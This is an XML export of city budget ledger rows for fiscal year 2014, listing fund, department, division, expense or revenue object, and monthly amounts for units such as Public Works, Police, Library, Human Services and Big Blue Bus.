<row _id="10322"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>29418.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29418.0</total></row>
<row _id="10323"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10836.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10836.0</total></row>
<row _id="10324"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>210.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>210.0</total></row>
<row _id="10325"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400420.0</object><object_description>SKATE PARK</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-32020.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-32020.0</total></row>
<row _id="10326"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522830.0</object><object_description>FUEL AND OIL TAXES-REV EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>256250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>256250.0</total></row>
<row _id="10327"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11303.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11303.0</total></row>
<row _id="10328"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5640.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5640.0</total></row>
<row _id="10329"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>217.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>217.0</total></row>
<row _id="10330"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>813.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>813.0</total></row>
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<row _id="10332"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3077.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3077.0</total></row>
<row _id="10333"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>104083.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>104083.0</total></row>
<row _id="10334"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561291.0</object><object_description>UBH-FAMILY PLACE TRANS HOUSING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15529.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15529.0</total></row>
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<row _id="10336"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511744.0</object><object_description>MED TRUST - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>24257.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24257.0</total></row>
<row _id="10337"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511771.0</object><object_description>RETIREMENT - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>946856.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>8621</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>955477.0</total></row>
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<row _id="10340"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>135650.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>135650.0</total></row>
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<row _id="10343"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>124757.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>1940</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>126697.0</total></row>
<row _id="10344"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>13867.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13867.0</total></row>
<row _id="10345"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>132401.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>132401.0</total></row>
<row _id="10346"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>115847.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>12071</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>127918.0</total></row>
<row _id="10347"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>38124.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38124.0</total></row>
<row _id="10348"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15528.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15528.0</total></row>
<row _id="10349"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>38200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38200.0</total></row>
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<row _id="10351"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>53690.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>53690.0</total></row>
<row _id="10352"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>137308.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>2125.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>139433.0</total></row>
<row _id="10353"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1006412.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>15302</december><january>10085.98</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1031799.98</total></row>
<row _id="10354"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7211.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7211.0</total></row>
<row _id="10355"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2439.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>32</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2471.0</total></row>
<row _id="10356"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>29433.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29433.0</total></row>
<row _id="10357"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>28067.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28067.0</total></row>
<row _id="10358"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>405200.0</object><object_description>VIDEO PRODUCTION SERVICE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10000.0</total></row>
<row _id="10359"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12952.0</july><august>0</august><september>0</september><october>0</october><november>97.0</november><december>123</december><january>351.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13523.0</total></row>
<row _id="10360"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>5094.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5094.0</total></row>
<row _id="10361"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511712.0</object><object_description>MEDICARE-FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6051.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>287</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6338.0</total></row>
<row _id="10362"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11376.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>65</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11441.0</total></row>
<row _id="10363"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>49737.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>49737.0</total></row>
<row _id="10364"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401002.0</object><object_description>SWIM CENTER-REC/LAP SWIM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-204809.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-204809.0</total></row>
<row _id="10365"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401009.0</object><object_description>SWIM CENTER-AQUATIC SUPPLIES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-10558.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10558.0</total></row>
<row _id="10366"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>666.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>666.0</total></row>
<row _id="10367"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561404.0</object><object_description>PROJECT HOMECOMING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>35893.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>35893.0</total></row>
<row _id="10368"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>403830.0</object><object_description>SUPPORTIVE HOUSING PROGRAM GR</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-389215.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>389215</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="10369"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>209.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>209.0</total></row>
<row _id="10370"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3651.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3651.0</total></row>
<row _id="10371"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>50000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="10372"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>95052.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>779</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>95831.0</total></row>
<row _id="10373"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>288.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>288.0</total></row>
<row _id="10374"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>19586.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>219</december><january>651.0</january><february>-1238</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19218.0</total></row>
<row _id="10375"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>94968.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>16632</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>111600.0</total></row>
<row _id="10376"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>931.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>41.67</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>972.67</total></row>
